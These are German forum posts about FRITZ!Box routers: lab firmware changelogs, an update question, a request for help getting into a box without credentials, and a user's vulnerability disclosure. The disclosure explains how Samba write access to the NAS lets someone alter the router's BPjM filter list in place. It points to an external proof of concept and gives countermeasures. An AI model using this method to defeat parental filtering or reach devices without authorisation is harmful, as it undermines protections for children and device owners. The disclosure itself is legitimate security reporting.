Fbeditor macht auch nix, mit rukerneltool find ich nichts, ...
Problem ist, die box is ausm geschäft, und wurde vom vorbesitzer so übernommen, und wir haben keinerlei zugangsdaten, brauchen aber dringend telefon, und die *********** sagten dauert ne gute woche bis wir die daten haben.

Habt ihr ne idee, wie ich da noch rankomm?
Danke

Gesendet von meinem SM-G920F mit Tapatalk

FRITZ!Box 7580 Labor Firmware 153.06.69- 41987 vom 14.11.2016

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Weitere Verbesserungen in den verschiedenen Laborversionen


--- Weitere Verbesserungen im FRITZ!OS 6.69-41986 ---

Internet:
Behoben - Bandbreitenreservierung für das Heimnetz an einigen Anschlüssen nicht veränderbar

System:
Behoben - Ereignisse sporadisch unvollständig

Sicherheit:
Verbesserung - IP-Nebenstellen müssen mit einem mindestens achtstelligen Kennwort abgesichert werden. IP-Nebenstellen mit kürzeren Kennwörtern werden nach dem Update bis zur Vergabe eines längeren Kennworts deaktiviert.

WLAN:
Behoben - Keine Rückmeldung im Ereignisprotokoll nach Erstanmeldung eines WLAN-Gerätes


--- Weitere Verbesserungen im FRITZ!OS 6.69-41875 ---

DSL:
Behoben - DSL-Leitungstest auf Anmeldeseite wieder möglich

Internet:
Verbesserung - Textüberarbeitungen für Portfreigaben
Behoben - Fehler nach Übernahme von Einstellungsänderungen in der Kindersicherung

System:
Verbesserung - Zeitschaltungen für Smartphone und Tablet optimiert
Verbesserung - Anzeige der Anmeldungen über FTP oder SMB im Ereignissprotokoll
Behoben - Fehler im Assistenten zur Einstellungsübernahme ausgewählter Einstellungen

WLAN:
Behoben - WPS bei zeitgleich aktiven APs wieder zuverlässig verhindert


ftp://ftp.avm.de/fritz.box/beta/


DECT-Version: 5.28
VDSL-Version: 1.148.135.11

[Frage] 7390 - automatischer Updateversuch von heute Nacht?!

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Moin,

warum auch immer war die Option für das automatsiche Update in meiner Fritzbox 7390 aktiv. Normalerweise ist die immer aus,aber ok.

Jedenfalls bekam ich heute Nacht eine Pusmail der 7390, dass ein Firmwareupdateversuch gescheitert ist. Die Box hatte sich auch neu gestartet.

Ich habe 06.51 (und keine Labor) installiert.

Bei AVM finde ich nichts neueres.

Hatte das noch jemand ?

[Info] BPjM-Filterung im FRITZ!OS kann umgangen werden, wenn jemand NAS-Schreibzugriff hat

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Wenn ein ansonsten über die BPjM-Liste limitierter Nutzer im Netzwerk (betrifft nur das LAN und damit "per default" das neu definierte Standardprofil "Kind") gleichzeitig Schreibzugriff auf das Wurzelverzeichnis des NAS (genauer auf das dort liegende Unterverzeichnis "FRITZ") hat, kann er durch Manipulation des Inhalts der BPjM-Liste die Filterung für dort verzeichnete Adressen umgehen.

Diese Liste wird (in der Standardeinstellung) ebenfalls für die Filterung im Gastnetz verwendet, von dort ist aber kein Zugriff auf das NAS möglich. Der Effekt einer manipulierten Datenbank ist aber für den Zugriff aus dem Gastnetz natürlich derselbe.

Die aktualisierte BPjM-Liste wird nach dem Update unter "/var/media/ftp/FRITZ/bpjm.data" gespeichert und wenn dort der schreibende Zugriff möglich ist und gleichzeitig der Samba-Service für diesen Zugriff zur Verfügung steht, kann diese Liste "an Ort und Stelle" so geändert werden, daß die Hash-Werte für die dort hinterlegten Internet-Adressen nicht mehr stimmen und in der Folge der Zugriff auf diese Domains ebenfalls gestattet wird. Ein Zugriff über den FTP-Service kann nicht zur Manipulation benutzt werden, da die Datei nur "in place" geändert werden kann, ansonsten bemerkt der Dienst für die Inhaltsfilterung (contfiltd) die Änderung und erzeugt eine neue, wieder gültige Datei.

Ein "proof of concept" für diesen Angriff ist als PowerShell-Skript in meinem GitHub-Repository zu finden, zusammen mit der ausführlicheren (na gut, so viel mehr gibt es da eigentlich nicht zu sagen) Beschreibung, wo das Problem liegt und wie ein Angreifer es ausnutzen könnte (auch wenn nicht jeder seine Kinder als "Angreifer" sehen wird, Teenager können ganz schön gerissen sein). Nach dem Schreiben per PoC ist die BPjM-Filterliste "leer" - wer diese also wirklich braucht und es einfach mal selbst probieren wollte/will, startet einfach die Box im Anschluß neu.

Die effektivste Gegenmaßnahme, die man selbst treffen kann, ist auch denkbar einfach ... es reicht vollkommen, keinen Schreibzugriff auf das Wurzelverzeichnis des NAS (oder gar "alle angeschlossenen Speicher") zu gewähren, zumindest nicht einem Benutzer, der gleichzeitig in den Genuß der Filterung über die BPjM-Liste kommen soll. Daß gleichzeitig auch nur wirklich notwendige Schreibrechte immer eine gute Idee sind, versteht sich von selbst, denke ich.

Andererseits denkt man ja gar nicht unbedingt darüber nach, wenn der Sohnemann antrabt und gerne mal den USB-Stick ABC in die FRITZ!Box stecken und darauf zugreifen will, weil er meinetwegen den Mediaserver nutzern will. Da sind dann die NAS-Rechte auch mal schnell falsch eingestellt (ist ja nicht für lange) und dann wird es vergessen. In vielen Familien sind vielleicht auch die Teenager fitter in diesen Dingen als ihre Eltern und dann sind die schnell mal "bequatscht" und der direkte Zusammenhang zwischen der BPjM-Filterung und dem NAS ist ja auch nicht vorhanden, daß man da mißtrauisch werden müßte.

AVM wurde vor längerer Zeit informiert (Timeline im GitHub), sagte den Fix für das nächste "major release" zu und kündigte an, dieses in Q3 2016 veröffentlichen zu wollen. Nunmehr sind wir in der Halbzeit von Q4 2016 und von AVM gab es weder eine Information, daß und wie weit sich das Release verschieben wird noch wurde bisher auch nur der Versuch unternommen, das Thema zu entschärfen. In der 113.06.69-419896 ist der Angriff nach wie vor möglich.

Auch hier liegt das Grundübel wieder darin, daß der Zugriff auf das "FRITZ"-Verzeichnis für die interne Speicherung von Daten des FRITZ!OS über die NAS-Funktionen möglich ist. Schon der Entzug der Schreibrechte für die bpjm.data für alle Nutzer nach dem Update der Datei würde vollkommen ausreichen, damit diese nicht mehr über Samba manipuliert werden kann - besser wäre es generell, diese Verzeichnisse (auch auf USB-Volumes werden sie angelegt) dem NAS-Zugriff zu entziehen.

[Info] FRITZ!Box 7490 Labor-Firmware FRITZ!OS 06.69-42073 (17.11.2016)

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--- Weitere Verbesserungen im FRITZ!OS 6.69-42073 ---

Internet:
Behoben - Reiter für LISP wird in der erweiterten Ansicht wieder angezeigt

WLAN:
Behoben - gelegentliches Fehlen von Fremdnetzen im 5 GHz Band auf der Seite WLAN / Funkkanal behoben

Heimnetz:
Behoben - Ändern der IP-Adresse bei bestehenden Freigaben wurde nicht verhindert
Behoben - Anzeige von Gastgeräten unter Portfreigaben und Kindersicherung, die zuvor mal im Heimnetz angemeldet waren

System:
Verbesserung - Push Service Mail-Betreffs und Absender-Information überarbeitet
Verbesserung - Text zur roten Info-LED ergänzt
Verbesserung - Textüberarbeitungen in den Bereichen Internet, Heimnetz, Telefonie, DECT, WLAN und System
Verbesserung - Versionsanzeige auf der FRITZ!OS-Updateseite überarbeitet
Behoben - "Änderungsnotizen" und "Kennwort vergessen"-Mail wurden nicht versendet, wenn der Push Service mit dem Anrufbeantworter oder der Fax-Funktion eingerichtet wurde


ADSL-Version: 1.100.8.15
VDSL-Version: 1.100.135.11
DECT-Version: 5.29

Download: https://avm.de/fileadmin/user_upload...7490-42073.zip
Feedback: https://avm.de/fritz-labor/fritzbox-7490/ihr-feedback/

Update per Datei verlief Problemlos

Gruß
Basti
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